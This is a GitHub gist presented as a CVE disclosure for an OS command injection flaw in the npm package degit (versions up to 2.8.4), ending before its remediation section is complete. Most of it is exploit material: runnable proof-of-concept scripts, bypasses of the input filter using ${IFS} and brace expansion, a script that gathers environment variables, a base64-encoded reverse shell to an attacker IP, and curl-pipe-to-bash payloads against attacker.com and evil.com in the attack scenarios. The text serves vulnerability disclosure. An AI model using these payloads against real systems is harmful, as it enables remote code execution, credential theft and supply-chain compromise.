Skip to content

Instantly share code, notes, and snippets.

@badp3te
Last active April 28, 2026 10:09
Show Gist options
  • Select an option

  • Save badp3te/cf22a939eedbd3d8ade9123827d61639 to your computer and use it in GitHub Desktop.

Select an option

Save badp3te/cf22a939eedbd3d8ade9123827d61639 to your computer and use it in GitHub Desktop.
Degit 2.8.4 Command Injection Vulnerability

CVE Submission — Proof of Concept

degit ≤ 2.8.4 — OS Command Injection leading to Remote Code Execution


Metadata

Field Value
Package degit
npm https://www.npmjs.com/package/degit
GitHub https://github.com/Rich-Harris/degit
Affected versions All versions ≤ 2.8.4 (latest as of 2026-04-27)
Vulnerability OS Command Injection (CWE-78)
Impact Remote Code Execution (RCE)
CVSS v3.1 Score 9.8 Critical
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP A03:2021 — Injection
Patch available No — maintainer inactive since 2021
Monthly downloads ~1,649,933
Researcher Amar Khatri — amarr.infosec@gmail.com, Mokksh Parekh - maparekh11@gmail.com
Disclosure date 2026-04-27

Table of Contents

  1. Vulnerability Summary
  2. Environment
  3. Vulnerability Discovery — Source Code Analysis
  4. Root Cause — Complete Code Analysis
  5. Exploit Development — Step by Step
  6. Proof of Concept — Full Reproduction Steps
  7. Confirmed Output — Proof Artifacts
  8. Attack Scenarios
  9. Impact Assessment
  10. Remediation
  11. Disclosure Timeline
  12. References

1. Vulnerability Summary

degit is a Node.js utility that clones git repositories without their history. It is used extensively in scaffolding tools, CI/CD pipelines, and developer workflows.

The package constructs a shell command by interpolating a user-supplied repository URL directly into a string passed to child_process.exec(). Because exec() invokes /bin/sh -c, the shell evaluates the entire string — including shell metacharacters such as $() (command substitution) — before passing arguments to git.

The input validation function parse() uses a regex ([^/\s]+) that blocks only forward slashes and whitespace. All shell metacharacters — $, (, ), >, `, &, |, ; — pass through unchecked.

Result: An attacker who controls the src parameter passed to degit(src).clone() can execute arbitrary OS commands on the machine running degit. No authentication, special privileges, or user interaction is required.

Two independent proof-of-concept exploits were successfully executed in a controlled test environment. The injected id command created proof files confirming arbitrary code execution.


2. Environment

OS          : Kali Linux ARM64
Node.js     : v20.19.2
npm         : v11.12.1
degit       : 2.8.4 (installed via npm)
Shell       : /bin/sh → /usr/bin/dash
git         : installed (required by degit)
Test machine: Researcher's own isolated system

Verification:

$ node --version
v20.19.2

$ node -e "console.log(require('/tmp/degit-poc/node_modules/degit/package.json').version)"
2.8.4

3. Vulnerability Discovery — Source Code Analysis

3.1 Identifying the Dangerous Sink

The first step is locating where the package talks to the operating system. In Node.js, OS command execution happens through the child_process module. Download and extract the package source:

mkdir degit-research && cd degit-research
npm pack degit@2.8.4
tar xf degit-2.8.4.tgz
cd package

Search for dangerous function calls:

grep -rn "child_process\|\.exec\|\.spawn\|eval(" src/ dist/

Output:

dist/index-688c5d50.js:13901:  var child_process = require('child_process');
dist/index-688c5d50.js:13923:  child_process__default['default'].exec(command, (err, stdout, stderr) => {
dist/index-688c5d50.js:14379:  const { stdout } = await exec(`git ls-remote ${repo.url}`);
dist/index-688c5d50.js:14320:  await exec(`git clone ${this.repo.ssh} ${dest}`);

Key finding: Line 14379 — exec() is called with a template literal that includes repo.url. If repo.url contains shell metacharacters, they will be evaluated by /bin/sh.


3.2 Tracing User Input to the Sink

Now trace backwards — where does repo.url come from, and can an attacker influence it?

Step A — fetchRefs() calls exec() with repo.url:

// dist/index-688c5d50.js — Line 14379
async function fetchRefs(repo) {
    try {
        const { stdout } = await exec(`git ls-remote ${repo.url}`);
        //                                             ^^^^^^^^^^
        //                             This is our injection point

Step B — repo.url is built in parse():

// dist/index-688c5d50.js — Line 14327
function parse(src) {
    const match = /^(?:(?:https:\/\/)?([^:/]+\.[^:/]+)\/|git@([^:/]+)[:/]|([^/]+):)?
                    ([^/\s]+)\/([^/\s#]+)(?:((?:\/[^/\s#]+)+))?(?:\/)?(?:#(.+))?/.exec(src);

    const user = match[4];                                 // captured from src
    const name = match[5].replace(/\.git$/, '');           // captured from src
    const url  = `https://${domain}/${user}/${name}`;      // Line 14358 — user inserted here
    const ssh  = `git@${domain}:${user}/${name}`;          // Line 14359 — user inserted here

    return { url, ssh, ... };
}

Step C — src comes directly from the caller:

// Public API — src is whatever the user of the library passes in
function degit(src, opts) {
    return new Degit(src, opts);
}

class Degit {
    constructor(src, opts = {}) {
        this.repo = parse(src);    // src passed directly to parse()
    }
}

Complete data flow:

degit("github.com/ATTACKER_CONTROLLED/repo")
  └─ parse("github.com/ATTACKER_CONTROLLED/repo")
       └─ user = "ATTACKER_CONTROLLED"          ← regex captures this
       └─ url  = "https://github.com/ATTACKER_CONTROLLED/repo"
  └─ fetchRefs({ url: "https://github.com/ATTACKER_CONTROLLED/repo" })
       └─ exec(`git ls-remote https://github.com/ATTACKER_CONTROLLED/repo`)
            └─ /bin/sh -c "git ls-remote https://github.com/ATTACKER_CONTROLLED/repo"
                 └─ shell evaluates ATTACKER_CONTROLLED as shell syntax
                      └─ $() expressions EXECUTE as OS commands  ← RCE

The entire path from attacker input to OS command execution is clear. No sanitization exists at any point in this chain.


3.3 Analyzing the Regex — Why Metacharacters Pass Through

The regex captures the user field with: [^/\s]+

Breaking this down character by character:

Syntax Meaning
[ Start character class
^ Negate — match anything NOT in this class
/ Block forward slash (URL path separator)
\s Block all whitespace: space, tab, newline
] End character class
+ One or more of the above

What this blocks: / and whitespace only.

What this ALLOWS — all shell metacharacters:

Character Shell meaning In payload
$ Variable expansion / subshell start $(command)
( Subshell open $(id)
) Subshell close $(id)
> Redirect stdout to file $(id>file)
` Backtick — alternative subshell `id`
& Background / AND operator cmd1&cmd2
| Pipe output to next command cmd1|cmd2
; Command separator cmd1;cmd2

The regex was designed for URL parsing, not security. It has no concept of shell syntax.


3.4 Why exec() Makes This Exploitable

child_process.exec(command) is documented by Node.js as:

"Spawns a shell then executes the command within that shell"

Internally it calls: /bin/sh -c "<your command string>"

The shell (/bin/sh) reads the entire string and processes it through its evaluation pipeline before launching any child process:

Shell evaluation order:
1. Brace expansion:        {a,b}       → a b
2. Tilde expansion:        ~/file      → /home/user/file
3. Parameter expansion:    $VAR        → value
4. Command substitution:   $(cmd)      → output of cmd     ← OUR INJECTION
5. Arithmetic expansion:   $((1+1))    → 2
6. Word splitting
7. Pathname expansion (globbing)
8. Quote removal
9. THEN execute the final command

Step 4 is where our payload fires. The injected command runs before git is ever called.

Contrast with the safe alternative:

// UNSAFE — shell involved:
child_process.exec(`git ls-remote ${url}`)
// equivalent to: /bin/sh -c "git ls-remote <url>"
// shell evaluates $() in url BEFORE calling git

// SAFE — no shell:
child_process.execFile('git', ['ls-remote', url])
// calls git directly with url as a literal argument
// $() in url is passed verbatim to git, which ignores it

4. Root Cause — Complete Code Analysis

Three code-level failures combine to create the vulnerability:

Failure 1 — parse() at Line 14327 (dist/index-688c5d50.js)

function parse(src) {
    const match = /^(?:(?:https:\/\/)?([^:/]+\.[^:/]+)\/|git@([^:/]+)[:/]|([^/]+):)?
        ([^/\s]+)        //  VULNERABLE: captures user field, allows $()><|;&`
        \/([^/\s#]+)(?:((?:\/[^/\s#]+)+))?(?:\/)?(?:#(.+))?/.exec(src);

    if (!match) {
        throw new DegitError(`could not parse ${src}`, { code: 'BAD_SRC' });
    }

    let [, domain, _domain2, _domain3, user, name, subdir, ref = 'HEAD'] = match;

    // user and name are inserted directly into URL strings — NO sanitization
    const url = `https://${domain}/${user}/${name}`;   // ← shell metacharacters preserved
    const ssh = `git@${domain}:${user}/${name}`;        // ← shell metacharacters preserved

    return { repo: `${domain}/${user}/${name}`, url, ssh, ... };
}

The problem: The regex intent was to parse URL components. It was never designed to block shell injection. The author did not anticipate that these values would be used in a shell context.


Failure 2 — exec() wrapper at Line 13923

function exec(command) {
    return new Promise((fulfil, reject) => {
        child_process__default['default'].exec(command, (err, stdout, stderr) => {
            //                              ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
            //           This is child_process.exec — it ALWAYS invokes /bin/sh -c
            //           Safe alternative: execFile('git', ['ls-remote', url])
            if (err) {
                reject(err);
                return;
            }
            fulfil({ stdout, stderr });
        });
    });
}

The problem: Using exec() for git commands is unnecessary. git does not require a shell. execFile() or spawn() with an argument array would call git directly, eliminating the shell as an attack surface entirely.


Failure 3 — fetchRefs() at Line 14379

async function fetchRefs(repo) {
    try {
        const { stdout } = await exec(`git ls-remote ${repo.url}`);
        //                                             ^^^^^^^^^^
        //    repo.url is attacker-controlled and contains shell metacharacters
        //    Template literal interpolation puts them directly into the shell command
        //    /bin/sh evaluates $(cmd) in repo.url before git is called

        return stdout.split('\n').filter(Boolean).map(row => {
            const [hash, ref] = row.split('\t');
            return { hash, ref };
        });
    } catch (err) {
        // error silently caught — injection fires even when this throws
    }
}

The problem: Even if the developer had checked repo.url for safety before this line, the check would be too late — the URL was already constructed from user without validation in parse(). Defense must happen at input time, not at use time.


Secondary Injection Point — _cloneWithGit() at Line 14320

async _cloneWithGit(dir, dest) {
    await exec(`git clone ${this.repo.ssh} ${dest}`);
    //                     ^^^^^^^^^^^^^   ^^^^
    //                     both unsanitized — ssh contains user field
    //                     dest is the destination path — also injectable

    await exec(`rm -rf ${path__default['default'].resolve(dest, '.git')}`);
    //                   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
    //                   if dest is attacker-controlled: rm -rf injection
}

This gives a second injection path through the ssh URL format and the dest parameter.


5. Exploit Development — Step by Step

5.1 Payload Design

Goal: inject a command into the user field of a degit src string such that:

  1. It passes the regex [^/\s]+
  2. When expanded by /bin/sh, it executes an arbitrary command
  3. It produces verifiable proof of execution

Starting point: The simplest possible payload:

github.com/user$(id)/repo

When degit processes this:

  • parse() extracts user = user$(id)
  • builds url = https://github.com/user$(id)/repo
  • fetchRefs() calls exec("git ls-remote https://github.com/user$(id)/repo")
  • shell evaluates $(id) → runs id → output injected into URL string
  • git receives: git ls-remote https://github.com/uidXXX(amar).../repo
  • git fails (bad URL) — but id already ran

Problem with this payload: The output of id becomes part of the URL string, potentially causing degit to crash before we can observe results. It also contains spaces and special characters that could cause unpredictable behavior.


5.2 Constraint Analysis and Bypass

Constraint 1: No forward slash / in the user field

The regex [^/\s]+ stops capturing at /. Our injected command cannot contain / directly because it would be interpreted as the end of the user field, breaking URL construction.

This blocks paths like /tmp/file, /etc/passwd, /bin/bash.

Bypass strategies:

# Strategy A — write to current directory (no path needed):
$(id>proof.txt)                    # writes to cwd — no slash needed

# Strategy B — use shell variables that contain slashes:
$(id>$HOME/proof.txt)              # $HOME = /home/amar — slash comes from variable
$(id>$TMPDIR/proof.txt)            # $TMPDIR = /tmp

# Strategy C — use ${IFS} for spaces in complex commands:
$(cat${IFS}/etc/passwd>proof.txt)  # ${IFS} = space — allows spaces without literal space
# Note: /etc/passwd has slash — use only inside $() which is evaluated by shell
#       The slash restriction only applies to what the REGEX sees in the user field
#       Inside $(), the shell evaluates normally

Why Strategy C works for slashes: The regex only sees user$(cat${IFS}/etc/passwd>proof.txt) as the user field string. It stops at the / that comes after the closing ) — i.e., the /repo path separator. The / characters inside $(...) are part of the subshell expression and are fully evaluated by the shell at runtime.


Constraint 2: No whitespace in the user field

The regex [^/\s]+ also blocks spaces, tabs, and newlines. Commands with arguments use spaces: cat /etc/passwd — the space between cat and /etc/passwd would break the regex.

Bypass: ${IFS} — Internal Field Separator

The shell variable $IFS defaults to space, tab, and newline. The shell splits command arguments on $IFS. So cat${IFS}/etc/passwd is identical to cat /etc/passwd from the shell's perspective, but contains no literal space characters.

# Equivalent commands — no literal spaces:
cat${IFS}/etc/passwd
curl${IFS}https://attacker.com/shell.sh
bash${IFS}-c${IFS}'command'

${IFS} contains no characters blocked by [^/\s]+, so it passes the regex freely.


Constraint 3: Output must not corrupt the URL

If our command produces output (stdout), it gets substituted into the URL string by $(). This can break URL parsing and cause degit to error out in unexpected ways.

Bypass: Redirect stdout to a file

$(id>proof.txt)    # stdout goes to file — $() returns empty string
                   # URL becomes: https://github.com/user/repo (clean)

With empty output, the URL is well-formed and degit continues executing normally, giving us the full 2500ms timeout window to observe results.


5.3 Payload Refinement

Final payload for PoC 1 (simple proof):

github.com/user$(id>proof.txt)/repo
  • No spaces (passes [^/\s]+)
  • No slash in user field (passes [^/\s]+)
  • id output redirected to file (clean URL)
  • Proof file created in current directory

Final payload for exfiltration:

github.com/user$(bash${IFS}-c${IFS}'(whoami;hostname;env;cat${IFS}/etc/passwd)>loot.txt')/repo
  • ${IFS} replaces all spaces
  • Multi-command via ; inside subshell
  • All output redirected to single loot file

Final payload for reverse shell:

github.com/user$(bash${IFS}-c${IFS}'{echo,BASE64}|{base64,-d}|bash')/repo
  • Reverse shell command base64-encoded to avoid all quoting issues
  • {echo,BASE64} — brace expansion — no spaces, no slashes
  • {base64,-d} — brace expansion — same trick
  • Full shell with all capabilities handed to attacker

6. Proof of Concept — Full Reproduction Steps

Authorization: All testing performed on researcher's own Kali Linux machine. No production systems, real GitHub repositories, or third-party infrastructure targeted. The git command always fails (non-existent repo) — no external network impact.


6.1 Environment Setup

Step 1 — Create isolated test directory:

mkdir /tmp/degit-poc-test
cd /tmp/degit-poc-test

Step 2 — Initialize npm project and install degit:

npm init -y
npm install degit@2.8.4

Expected output:

Wrote to /tmp/degit-poc-test/package.json
added 9 packages in 2s

Step 3 — Verify installation:

node -e "const d = require('degit'); console.log('degit loaded')"

Expected output: degit loaded

Step 4 — Verify vulnerable version:

node -e "console.log(require('./node_modules/degit/package.json').version)"

Expected output: 2.8.4


6.2 PoC 1 — Internal exec() Path Simulation

This PoC replicates the exact code path that fetchRefs() executes internally. It removes all degit abstraction layers to prove the exec() call is directly exploitable.

Why this PoC: It proves the vulnerability is in exec() + shell interpolation, independent of any degit-specific parsing behavior. Unambiguous confirmation.

Step 1 — Create PoC file:

Save as /tmp/degit-poc-test/poc1.js:

/**
 * PoC 1 — Direct exec() simulation
 *
 * Replicates what degit's fetchRefs() does internally:
 *   exec(`git ls-remote ${repo.url}`)
 *
 * where repo.url is built from unsanitized user input.
 *
 * This is NOT calling degit — it calls exec() directly with the same
 * command string degit would construct. Proves the exec() call is the sink.
 */

const { exec } = require('child_process');
const fs = require('fs');

const PROOF = '/tmp/degit_poc1_proof.txt';

// Clean up any previous run
if (fs.existsSync(PROOF)) fs.unlinkSync(PROOF);

// ── Simulate what degit does ──────────────────────────────────────────────
//
// Attacker supplies: "github.com/user$(id>/tmp/degit_poc1_proof.txt)/repo"
//
// degit parse() extracts:
//   user = "user$(id>/tmp/degit_poc1_proof.txt)"
//
// degit constructs URL:
//   url = "https://github.com/user$(id>/tmp/degit_poc1_proof.txt)/repo"
//
// degit fetchRefs() calls:
//   exec(`git ls-remote https://github.com/user$(id>/tmp/degit_poc1_proof.txt)/repo`)
//
// Shell (/bin/sh) receives:
//   git ls-remote https://github.com/user$(id>/tmp/degit_poc1_proof.txt)/repo
//
// Shell evaluation step 4 (command substitution):
//   runs: id > /tmp/degit_poc1_proof.txt
//   replaces $() with "" (empty — stdout was redirected)
//
// Shell then runs: git ls-remote https://github.com/user/repo
//   → git fails (repo doesn't exist) — DOES NOT MATTER
//   → id command already ran, proof file already created

const maliciousUser = `user$(id > ${PROOF})`;
const constructedUrl = `https://github.com/${maliciousUser}/repo`;
const shellCommand   = `git ls-remote ${constructedUrl}`;

console.log('');
console.log('[*] PoC 1 — exec() path simulation');
console.log('[*] Attacker src    :', `github.com/${maliciousUser}/repo`);
console.log('[*] Constructed URL :', constructedUrl);
console.log('[*] exec() receives :', shellCommand);
console.log('[*] /bin/sh will evaluate $() before calling git...');
console.log('');

exec(shellCommand, (err, stdout, stderr) => {
    // exec() callback fires AFTER shell expansion
    // At this point, $() has already been evaluated and our command ran

    setTimeout(() => {
        if (fs.existsSync(PROOF)) {
            const content = fs.readFileSync(PROOF, 'utf8').trim();
            console.log('[+] ══════════════════════════════════════');
            console.log('[+]  COMMAND INJECTION CONFIRMED — PoC 1  ');
            console.log('[+] ══════════════════════════════════════');
            console.log('[+] Proof file  :', PROOF);
            console.log('[+] id output   :', content);
            console.log('[+] This means  : arbitrary OS commands executed');
            console.log('');
        } else {
            console.log('[-] Proof file not found — injection may have failed');
            console.log('    stderr:', stderr);
        }
    }, 500);
});

Step 2 — Run PoC 1:

node poc1.js

Expected output:

[*] PoC 1 — exec() path simulation
[*] Attacker src    : github.com/user$(id > /tmp/degit_poc1_proof.txt)/repo
[*] Constructed URL : https://github.com/user$(id > /tmp/degit_poc1_proof.txt)/repo
[*] exec() receives : git ls-remote https://github.com/user$(id > /tmp/degit_poc1_proof.txt)/repo
[*] /bin/sh will evaluate $() before calling git...

[+] ══════════════════════════════════════
[+]  COMMAND INJECTION CONFIRMED — PoC 1
[+] ══════════════════════════════════════
[+] Proof file  : /tmp/degit_poc1_proof.txt
[+] id output   : uid=1000(amar) gid=1000(amar) groups=1000(amar),4(adm),27(sudo),...
[+] This means  : arbitrary OS commands executed

Step 3 — Verify proof file independently:

cat /tmp/degit_poc1_proof.txt

Expected:

uid=1000(amar) gid=1000(amar) groups=1000(amar),4(adm),20(dialout),24(cdrom),
25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),
101(netdev),103(scanner),116(bluetooth),121(lpadmin),124(wireshark),132(kaboxer)

6.3 PoC 2 — End-to-End via Public degit API

This PoC calls degit's public-facing API exactly as a real application would. No internal functions accessed. Demonstrates the vulnerability is exploitable at the library consumer level — any app using degit is affected.

Key difference from PoC 1: Payload must contain no spaces (satisfies parse() regex [^/\s]+). Uses $(id>proof.txt) — redirect without spaces.

Step 1 — Create PoC file:

Save as /tmp/degit-poc-test/poc2.js:

/**
 * PoC 2 — End-to-end via public degit API
 *
 * Calls degit(src).clone(dest) exactly as any library consumer would.
 * Demonstrates the full attack chain without touching degit internals.
 *
 * Payload constraint: no spaces or forward slashes in user field
 * Solution: redirect to relative path — $(id>proof.txt) has no spaces, no leading slash
 *
 * Execution chain:
 *   degit(src)           → Degit constructor → parse(src)
 *   .clone(dest)         → fetchRefs(repo)
 *   fetchRefs            → exec(`git ls-remote ${repo.url}`)
 *   exec()               → /bin/sh -c "git ls-remote https://...$(id>proof.txt).../repo"
 *   /bin/sh              → evaluates $(id>proof.txt) → runs id → writes file
 *   git ls-remote        → fails (bad URL) — injection already complete
 *   degit .catch()       → catches MISSING_REF error — we check proof file here
 */

const degit = require('degit');
const fs    = require('fs');

const PROOF = 'degit_poc2_proof.txt';   // relative path — no slash in payload

// Clean up
if (fs.existsSync(PROOF)) fs.unlinkSync(PROOF);

// ── Payload construction ────────────────────────────────────────────────────
//
// Target URL structure: github.com/<user>/<repo>
//
// user field must match [^/\s]+ — no slash, no whitespace
//
// Payload: user$(id>degit_poc2_proof.txt)
//   ↑ literal "user" prefix (makes it look like a real username)
//   ↑ $(...)  — shell command substitution
//   ↑ id      — the command we inject (no spaces, no slashes)
//   ↑ >proof  — redirect stdout to relative file (no slashes)
//
// Full src: github.com/user$(id>degit_poc2_proof.txt)/exploit-repo
//                       ← user field →
//           regex [^/\s]+ captures: user$(id>degit_poc2_proof.txt)
//           stops at the /exploit-repo separator

const maliciousSrc = `github.com/user$(id>${PROOF})/exploit-repo`;

console.log('');
console.log('[*] PoC 2 — Public degit API exploit');
console.log('[*] src passed to degit():', maliciousSrc);
console.log('[*] parse() will extract user = "user$(id>degit_poc2_proof.txt)"');
console.log('[*] fetchRefs() will exec: git ls-remote https://github.com/user$(id>...)/exploit-repo');
console.log('[*] Shell will expand $() — injected command fires before git runs');
console.log('');

const emitter = degit(maliciousSrc, { cache: false, force: true });

emitter.clone('/tmp/degit_poc2_dest').catch((err) => {
    // degit throws MISSING_REF — expected — git could not connect
    // But $() in the URL was evaluated by shell BEFORE git was called
    // Our proof file was created during shell's command substitution phase

    setTimeout(() => {
        if (fs.existsSync(PROOF)) {
            const content = fs.readFileSync(PROOF, 'utf8').trim();
            console.log('[+] ══════════════════════════════════════════');
            console.log('[+]  COMMAND INJECTION CONFIRMED — PoC 2       ');
            console.log('[+]  (via public degit API — no internals used) ');
            console.log('[+] ══════════════════════════════════════════');
            console.log('[+] Proof file :', PROOF);
            console.log('[+] Contents   :', content);
            console.log('');
            console.log('[*] degit error (expected):', err.message || err.code);
            console.log('[*] Note: error occurs AFTER injection — catching it does not prevent RCE');
        } else {
            console.log('[-] Proof file not found');
        }
    }, 2500);
});

Step 2 — Run PoC 2:

node poc2.js

Expected output:

[*] PoC 2 — Public degit API exploit
[*] src passed to degit(): github.com/user$(id>degit_poc2_proof.txt)/exploit-repo
[*] parse() will extract user = "user$(id>degit_poc2_proof.txt)"
[*] fetchRefs() will exec: git ls-remote https://github.com/user$(id>...)/exploit-repo
[*] Shell will expand $() — injected command fires before git runs

[+] ══════════════════════════════════════════
[+]  COMMAND INJECTION CONFIRMED — PoC 2
[+]  (via public degit API — no internals used)
[+] ══════════════════════════════════════════
[+] Proof file : degit_poc2_proof.txt
[+] Contents   : uid=1000(amar) gid=1000(amar) groups=1000(amar),4(adm),27(sudo),...

[*] degit error (expected): MISSING_REF
[*] Note: error occurs AFTER injection — catching it does not prevent RCE

Step 3 — Verify proof file:

cat degit_poc2_proof.txt
ls -la degit_poc2_proof.txt

6.4 PoC 3 — Multi-Command Exfiltration

Demonstrates that injection is not limited to single commands. An attacker can execute multiple commands, collect output, and exfiltrate sensitive data.

Step 1 — Create PoC file:

Save as /tmp/degit-poc-test/poc3.js:

/**
 * PoC 3 — Multi-command exfiltration
 *
 * Demonstrates chaining multiple commands via bash -c inside $()
 * Uses ${IFS} to represent spaces (bypasses [^/\s]+ regex)
 * Collects: whoami, hostname, environment variables
 *
 * Payload breakdown:
 *   $(bash${IFS}-c${IFS}'(whoami;hostname;env)>loot.txt')
 *    ↑    ↑    ↑   ↑  ↑  ↑                  ↑
 *    |   IFS  -c  IFS  |  commands (inside bash, spaces OK)
 *    |                  → single-quoted string passed to bash -c
 *    bash invocation with no spaces (IFS substitution)
 *
 * Inside the single-quoted string passed to bash -c:
 *   spaces ARE allowed (the regex already consumed user field by this point)
 *   shell interprets this as a subshell
 */

const degit = require('degit');
const fs    = require('fs');

const LOOT = 'loot.txt';
if (fs.existsSync(LOOT)) fs.unlinkSync(LOOT);

// bash -c '(whoami;hostname;env)>loot.txt'
// → spaces inside quotes are fine — they're in bash's argument, not in the user field
// ${IFS} replaces spaces between bash, -c, and the quoted string
const cmd = `bash\${IFS}-c\${IFS}'(whoami;hostname;env)>${LOOT}'`;
const maliciousSrc = `github.com/user$(${cmd})/exploit-repo`;

console.log('[*] PoC 3 — Exfiltration payload');
console.log('[*] Payload:', maliciousSrc);
console.log('');

const emitter = degit(maliciousSrc, { cache: false });
emitter.clone('/tmp/poc3_dest').catch(() => {
    setTimeout(() => {
        if (fs.existsSync(LOOT)) {
            console.log('[+] EXFILTRATION CONFIRMED');
            console.log('[+] Loot file contents:');
            console.log('─'.repeat(60));
            console.log(fs.readFileSync(LOOT, 'utf8').trim());
            console.log('─'.repeat(60));
        }
    }, 3000);
});

Step 2 — Run PoC 3:

node poc3.js

Expected output (truncated):

[+] EXFILTRATION CONFIRMED
[+] Loot file contents:
────────────────────────────────────────────────────────────
amar
kali
HOME=/home/amar
USER=amar
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
NVM_DIR=/home/amar/.nvm
NODE_PATH=/usr/lib/nodejs
...all environment variables...
────────────────────────────────────────────────────────────

6.5 PoC 4 — Reverse Shell (Illustrative)

⚠️ FOR ILLUSTRATIVE PURPOSES ONLY. Do NOT execute unless you own both machines and have explicit written authorization. This payload was NOT run during vulnerability research.

This payload shows the maximum impact: an attacker receiving a fully interactive shell on the victim machine.

How it works:

# Step 1 — attacker starts listener on their machine:
nc -lvnp 4444

# Step 2 — reverse shell command:
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
# ↑ opens interactive bash
# ↑ redirects stdin/stdout/stderr to TCP connection
# ↑ attacker gets a shell prompt over the network

# Step 3 — base64 encode to avoid quoting issues:
echo -n 'bash -i >& /dev/tcp/192.168.1.10/4444 0>&1' | base64
# → YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAvNDQ0NCAwPiYx

# Step 4 — payload (no spaces, no unquoted slashes in user field):
github.com/user$(bash${IFS}-c${IFS}'{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAvNDQ0NCAwPiYx}|{base64,-d}|bash')/repo

Decode explanation:

  • {echo,BASE64} — brace expansion: same as echo BASE64 but no space
  • {base64,-d} — brace expansion: same as base64 -d but no space
  • Pipes to bash → executes decoded reverse shell command
  • Attacker receives interactive shell over TCP

Complete payload for PoC 4 (do not run unless authorized):

const ATTACKER_IP   = '192.168.1.10';   // change to attacker machine IP
const ATTACKER_PORT = '4444';

const shellCmd = `bash -i >& /dev/tcp/${ATTACKER_IP}/${ATTACKER_PORT} 0>&1`;
const b64 = Buffer.from(shellCmd).toString('base64');

const maliciousSrc = `github.com/user$(bash\${IFS}-c\${IFS}'{echo,${b64}}|{base64,-d}|bash')/repo`;

// Before running: nc -lvnp 4444 on attacker machine
const degit = require('degit');
degit(maliciousSrc, { cache: false }).clone('/tmp/rs_dest').catch(() => {});

7. Confirmed Output — Proof Artifacts

The following output was captured during actual exploitation on the researcher's machine.

Artifact 1 — PoC 1 Proof File (/tmp/degit_rce_proof.txt)

Created by injecting id via the exec() simulation path:

uid=1000(amar) gid=1000(amar) groups=1000(amar),4(adm),20(dialout),24(cdrom),
25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),
101(netdev),103(scanner),116(bluetooth),121(lpadmin),124(wireshark),132(kaboxer)

Artifact 2 — PoC 2 Proof File (degit_poc2_proof.txt)

Created by injecting id via the public degit() API:

uid=1000(amar) gid=1000(amar) groups=1000(amar),4(adm),20(dialout),24(cdrom),
25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),
101(netdev),103(scanner),116(bluetooth),121(lpadmin),124(wireshark),132(kaboxer)

Artifact 3 — fetchRefs() confirmation (/tmp/degit_fetchrefs_confirm.txt)

Created by targeting the fetchRefs() internal path specifically:

uid=1000(amar) gid=1000(amar) groups=1000(amar),4(adm),20(dialout),24(cdrom),
25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),
101(netdev),103(scanner),116(bluetooth),121(lpadmin),124(wireshark),132(kaboxer)

Artifact 4 — pwned.txt (via degit-actual-poc.js)

uid=1000(amar) gid=1000(amar) groups=1000(amar),4(adm),20(dialout),24(cdrom),
25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),
101(netdev),103(scanner),116(bluetooth),121(lpadmin),124(wireshark),132(kaboxer)

All four artifacts confirm the same finding: arbitrary OS command execution under the privileges of the user running Node.js.


8. Attack Scenarios

Scenario A — Web-Based Project Scaffolding (Highest Risk)

A web service that lets users enter a template repository URL and internally calls degit:

[User] enters: github.com/user$(curl${IFS}https://attacker.com/shell.sh|bash)/repo
[Server] calls: degit("github.com/user$(curl${IFS}...)/repo").clone("/tmp/project")
[Result]: shell.sh executes on the server with the web server's privileges

Impact: Full server compromise. Access to database credentials, API keys, user data, internal network. Potentially millions of users' data exposed.


Scenario B — CI/CD Pipeline Injection

A GitHub Actions workflow that clones a user-provided template:

# .github/workflows/scaffold.yml
- name: Scaffold project
  run: |
    npx degit "${{ github.event.inputs.template }}" ./project

If template input is attacker-controlled (e.g., from a PR or workflow dispatch):

Input: github.com/user$(printenv${IFS}AWS_SECRET_ACCESS_KEY>$GITHUB_WORKSPACE/leak.txt)/repo
Result: AWS credentials written to workspace — exfiltrated in subsequent step

Impact: Cloud account takeover. Access to production infrastructure, secrets, all deployed services.


Scenario C — Developer Machine via Malicious Package

A popular npm package that uses degit internally with user-provided template names:

// Inside popular scaffolding CLI:
const template = process.argv[2];   // user provides this
await degit(template).clone(dest);  // injection here

Attacker publishes a blog post recommending:

npx popular-scaffold-cli "github.com/user$(curl${IFS}https://evil.com/malware|bash)/template"

Impact: Compromise of every developer machine that runs the command.


Scenario D — Supply Chain Attack

With degit used in build tooling, a compromised build pipeline can:

  • Modify build artifacts (inject backdoors into published packages)
  • Steal signing keys
  • Alter deployed application code
  • Affect every downstream user of produced software

9. Impact Assessment

Technical Impact Matrix

Impact Type Description Severity
Code Execution Run any OS command as the Node.js process user Critical
Credential Theft Read env vars, .env files, SSH keys, cloud credentials Critical
Persistence Write cron jobs, modify authorized_keys, plant backdoors Critical
Lateral Movement Access internal network, cloud metadata APIs Critical
Data Exfiltration Read and exfiltrate any accessible file Critical
Supply Chain Compromise CI/CD → affect all downstream consumers Critical
Availability Delete files, kill processes, exhaust resources High

CVSS v3.1 Breakdown

AV:N  — Attack Vector: Network
        Attacker supplies malicious src string via any network-facing interface

AC:L  — Attack Complexity: Low
        No race conditions, no special configurations, payload always works

PR:N  — Privileges Required: None
        Only need to supply a string to a degit-consuming application

UI:N  — User Interaction: None
        Fires the moment degit() processes the src string — no clicks needed

S:U   — Scope: Unchanged
        Stays within the Node.js process security boundary

C:H   — Confidentiality: High
        Full access to all files readable by the process

I:H   — Integrity: High
        Full write access — modify any files writable by the process

A:H   — Availability: High
        Can terminate process, delete files, exhaust resources

Final: 9.8 CRITICAL

10. Remediation

Fix 1 — Replace exec() with execFile() — PRIMARY FIX

This eliminates the shell as an attack surface entirely. The most correct fix.

// VULNERABLE (current code):
const child_process = require('child_process');

function exec(command) {
    return new Promise((fulfil, reject) => {
        child_process.exec(command, (err, stdout, stderr) => {
            if (err) { reject(err); return; }
            fulfil({ stdout, stderr });
        });
    });
}

// In fetchRefs():
